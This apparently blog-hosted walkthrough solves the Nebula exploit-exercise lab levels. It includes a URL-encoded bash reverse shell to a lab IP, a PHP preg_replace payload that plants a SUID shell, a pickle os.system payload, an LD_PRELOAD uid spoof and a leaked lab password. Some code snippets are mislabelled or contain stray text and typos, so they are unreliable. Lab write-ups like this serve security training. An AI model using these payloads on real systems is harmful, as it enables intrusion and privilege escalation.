Nebula Exploit-Exercise Solutions

Level00

Goal, locate a SUID Binary that will run as user "Flag00" (in the real-world we want to look for root)
Whats a SUID Binary, SUID Binaries are binaries with permissions set as its owner (chmod +s). When you execute the binary you will be running the binary under the context of its owner, in this case Flag00. Its useful to find SUID Binaries to escalate privileges.

Detection, to detect SUID Binaries type> find / -perm -u=s -type f 2>/dev/null


The SUID Binary for this challenge is /bin/../flag00

Level01:

Goal, locate arbitrary command injection vulnerability within the following code:



Level1.c calls system("/usr/bin/env echo and now what?);
echo is specified outside of /bin/echo, you can find this out by typing> whereis <program>.
Since echo is specified outside of /bin/echo we can alter the path of echo by setting the PATH system environment variable (by typing> export PATH=/tmp/:$PATH) to a arbitrary location that contains a fake echo payload.

Example:



Level02:

Goal, locate arbitrary command injection vulnerability within the following code:
   

The code use system(buffer) to execute "/bin/echo %s is cool", getenv("USER)"
This challenge is similar to level01, USER is a system environment variable that can be used to store our payload.

Example:



Level03:

Goal, locate a crontab script within the home directory of flag03


The crontab script performs a for loop every 5 minutes, executing anything (*) in the writable.d directory, the writable.d directory is writable. Since the directory is writable a payload can be placed.

Example:


Level04:

Goal, find a way to read a token file, the following code attempts to restrict access.


In order to access restricted files, symbolic links can be created to map a restricted file to a location were access is granted. Symbolic Links ignores permissions that are set on files, https://www.exploit-db.com/papers/13199/

Example



Level05:
Challenge includes abusing weak directory permissions. Within the home directory of flag05, theres a few hidden files that can be found when typing> ls -al,



The .backup directory has been set with full control for flag05 and read, execute for level05 (chmod 755) permissions. The .backup directory includes a backup archive of ssh authorization keys, which can be used to login as flag05. The archive can be downloaded using scp.

Example.



Level06:

This challenge looks at the way previous account (passwords) were stored in older linux systems builds prior to 1992, https://en.wikipedia.org/wiki/Passwd In this challenge the password hash for flag06 is stored in /etc/passwd

Example


Loading up a password cracker, johnny the hash can be decrypted

Example

Level07:

Goal, find a way to use the following perl program stored in /home/flag07/index.cgi to execute arbitrary code, that will be used to getflag. Index.cgi is hosted by a thttpd web server that is running on port 7007.




The code calls ping(param("Host")); and Host is a variable, therefore the code is vulnerable to command injections, such as http://192.168.107.133:7007/index.cgi?Host=%3Bbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.107.232%2F443%200%3E%261

Example


Level08:

Goal, locate a world readable file (find / -perm -o=r) and use it to log into flag08 account,


In the home directory of flag08, a pcap file is stored.
Parsing the pcap file and tracing through the tcp stream, creds are found.

Example

Recommend to always look at streams, through the hex dump layout. hex code can be translated easily when mapping hex characters, http://donsnotes.com/tech/charsets/ascii.html, such as translating x7F in this case as its translates to a del. Password for flag08 is backd00Rmate




Level09:

Goal, locate a vulnerability in the following code to execute arbitrary command to getflag


In order to identify weakness in code we need to break it down.

  • The code is written in php
  • The PHP functions included are preg_replace() and file_get_contents() 
  • The code takes two arguments, defined as $filename, $use_me
  • The main custom function included in the code is 

    function markup($filename, $use_me)
    {
      $contents = file_get_contents($filename);
      $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
      $contents = preg_replace("/\[/", "<", $contents);
      $contents = preg_replace("/\]/", ">", $contents);
      return $contents;
    }


  • There's also a custom function called spam which uses preg_replace to replace dot and @

    function spam($email)
    {
      $email = preg_replace("/\./", " dot ", $email);
      $email = preg_replace("/@/", " AT ", $email);
      return $email;
    }


  • Next thing to do, if your not familiar with php is to research google leveraging the collected info.
From php.net
preg_replace() Performs a regular expression search and replace
file_get_contents() — Reads entire file into a string

In addition, when searching "php preg_replace vulnerability" on google, the first result that came up was https://bitquark.co.uk/blog/2013/07/23/the_unexpected_dangers_of_preg_replace
Which talks about using the preg_replace /e option " Setting the e regex modifier will cause PHP to execute the replacement value as code."

Leverarging regex, the following contents can be created in a file to getflag

[email ${`cp /bin/bash /home/flag09/bash && chmod +s /home/flag09/bash`}]

The [] constructs an shorthand for an |
The ${ } specifies contents to include start '{' and end '}' 

Format looks like [email ${`shell command`}]
which means replace email with a shell command

Example:


Level10:

Goal, find a vulnerability in the following code to getflag.


In order to do this, break down the code

The code is written in C.
The purpose of the code is to upload a file to a host, if the user has access to the file.
The code takes 2 argument which is used to specify a file and host.
The code performs an access() check against the file

if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

The code uses the c socket() function to bind to a TCP socket,

fd = socket(AF_INET, SOCK_STREAM, 0);

The code uses the memset() c function to set the socket into buffer and then uses sin() c function to Set a bind connection on a IPv4 (AF_INET), specifies the ip address (inet_addr) host on port (htons) 18211

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

The code uses the connect() c function to connect to the specified host

 if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

The code uses the printf() c function to print Connecting to %s:18211, host
printf("Connecting to %s:18211 .. ", host); fflush(stdout);

If the user can access the file, the file will then be sent
printf("Connected!\nSending file .. "); fflush(stdout);

The code attempts to open the file, and if the file cannot be opened nor can it be read it fails.

Pivoting on the functions noted, start by querying "c access() vulnerability" on google.com, the first result comes up with https://stackoverflow.com/questions/7925177/access-security-hole. Which states:

 "Using access() to check if a user is authorized to e.g. open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it."

The code contains a TOCTOU race condition vulnerability which can be used to getflag

Example:


Level11

Goal, identify a way to execute a command to getflag from the following code.






Break the code down.


  • The code is written in c
  • The code takes input defined as Content-Length and assigns it to CL variable
  • The code has defined memory sizes, line and buffer:   
          char line[256];
          char buf[1024];


  • The code uses fgets(line, sizeof(line), stdin) to get the size of input and stores it in memory
  • It checks if size is NULL
  • The code compares the length of Content-Length with line[256] to check if its does not equal to zero (strncmp(line, CL, string length (strlen(CL)) != 0
  • It assigns the 256 + the length of CL to length variable
  • It checks if the length is less then 1024
  • It checks if the length is not equal to 1024
          if(fgets(line, sizeof(line), stdin) == NULL) {
          errx(1, "reading from stdin");
          }

         if(strncmp(line, CL, strlen(CL)) != 0) {
         errx(1, "invalid header");
         }

         length = atoi(line + strlen(CL));


  • It checks if length is less then the size of buffer
  • It uses the fread() function which reads contents in the buffer, the length, 1, and then input (stdin)
  • It checks if it does not equal to length and then performs a process function on buf, length
          if(length < sizeof(buf)) {
          if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
          }
          process(buf, length);


  • The process function performs a xor routine
  • First it takes the length and 0xff, and assigns it to a key variable
  • It then performs an incremental for loop which it 
  • Increments buffer by 1 and xors it with key
  • It then subtracts the buffer with the key
  • Finally it executes the contents in the buffer

Since fread() takes in 1 its the starting point for our payload, new line (\n) can be entered, to read in a new character

Example:




Level12

Goal, find a vulnerability in the following code to getflag.



The code is written in c.
It binds to localhost on port 50001

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

The code has a function that takes executes "echo "..password.." | sha1sum", "r" which is passed to the prog variable
data in prog is then read and passed to the data variable

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r") echo "test; ifconfig; echo test"
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


The code contains a while loop which peforms the following
On connection client prompts for Password:
The password sha1sum hash is compared against a hash
If hash is not the same it prints Better luck next time
If the hash is the same it says Congrats, your token is 413**CARRIER LOST

while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

   if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

Looking at the hash function, io.open which is used to execute system commands is open to command injection, given that the input is not sanitized
All that needs to be done is specify a simicolon after entering a password to try, to execute an arbitrary command

Example:



Level13

Goal, spoof user id to trick the following program into executing


The program uses getuid to identify the user id and then compares it against another uid.
Searching on google for "spoof getuid", the link below is presented, http://mips42.altervista.org/ld_preload.php

In this article, is talks about intercepting programs with LD_PRELOAD
LD_PRELOAD can be used to call a program that generates a user id and then call the script.
The following code can be used to generate a userid

int getuid() {
  return 100;
}

and can be compiled with  gcc -shared id.c -o id.so

The next step before leveraging this LD_PRELOAD technique, is to remove the SETUID binary, (s) permission because suid programs ignore LD_PRELOAD, to do this copy flag13 over to the /tmp directory and then execute the attack

Example:



Level14:

Goal, use a program (flag14) that is residing in /home/flag14/ and decrypt a token that is also stored in the /home/flag14 directory. The program shifts each character by 1++ can be decrypted by the following script

import sys

encrypted = ''
plaintext = ''
for i in xrange(len(encrypted)):
    char = chr(ord(encrypted[i]) - i)
    plaintext += char

Level15:

Goal, strace a binary at /home/flag15/flag15 to see if theres a way to getlag.

After stracing the binary, an identified libc.so.6 library is missing



Checking out /var/tmp/flag15, the directory is empty.  Therefore an implant can be created to get flag.

Example

Level16:

Goal, find a vulnerability in the following script to getflag


The script contains to variables that can be used to execute arbitrary code, htmlz(login(param("username"), param("password")));

The script is also listening on port 1616

The script is also converting uppercases and striping spaces,

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//;        # strip everything after a space

In order to craft a payload the payload needs to have an uppercase. and be called using /*/
example




Level17:

Goal, identify a vulnerability in the following python code that is listening on port 10007


The python script is importing pickle, which is vulnerable to command injection
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

A pickle serialized payload can be used to to getflag,

cos
system
(S'command'
tR.

the payload above represents os.system('command')
Example:



Level18:

Goal,  Analyze the following code for vulnerabilities to getflag
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
      return;
    }
                fclose(fp);
    if(strcmp(pw, file) != 0) return;
  }
  dprintf("logged in successfully (with%s password file)\n",
    fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
    switch(c) {
      case 'd':
        globals.debugfile = fopen(optarg, "w+");
        if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
        setvbuf(globals.debugfile, NULL, _IONBF, 0);
        break;
      case 'v':
        globals.verbose++;
        break;
    }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
    char line[256];
    char *p, *q;

    q = fgets(line, sizeof(line)-1, stdin);
    if(q == NULL) break;
    p = strchr(line, '\n'); if(p) *p = 0;
    p = strchr(line, '\r'); if(p) *p = 0;

    dvprintf(2, "got [%s] as input\n", line);

    if(strncmp(line, "login", 5) == 0) {
      dvprintf(3, "attempting to login\n");
      login(line + 6);
    } else if(strncmp(line, "logout", 6) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      }
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);
    }
  }

  return 0;
}

The following snippet, taken from the python script attempts to open a file, compares its size if null it errors, then there's a globals.loggedin = 1. If the process of opening the file is prevented, the user will automatically login.

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;e
globals.loggedin = 1;
}

To do this, ulimit -Sn 4 to set the number of open files, https://ss64.com/bash/ulimit.html
then an --init-file, https://www.gnu.org/software/bash/manual/html_node/Invoking-Bash.html
to point to /dev/ttty, which is a character device that represents the current controlling terminal.

Example


Level19:

Goal, find a vulnerability in the following code to getflag


Part of the code includes an hint "If root started us, it is ok to start the shell"

If(startbuf.st_uid == 0) {
execve("/bin/sh:, argvV envp);

Before going after the killshot, understanding zombie process is key.
When a parent process dies, before the child process. The init process, which is the parent process of all process is assigned as the parent process for the child.

After listing the running process and identifying associated users with ps -ef
init is running under root,


To getflag, a parent process can be killed to get a parent process running as root, which has an id value of 0, then flag19  can be executed, an getflag can be retrieved

Example

 #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    int main(int argc, char **argv, char **envp){
        int child;
        child = fork();
        if(child >= 0){
            if(child == 0){
                sleep(1);
                setresuid(geteuid(),geteuid(),geteuid());
                char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
                execve("/home/flag19/flag19", args, envp);
            }
        }
        exit(0);
    }



Comments

Popular Posts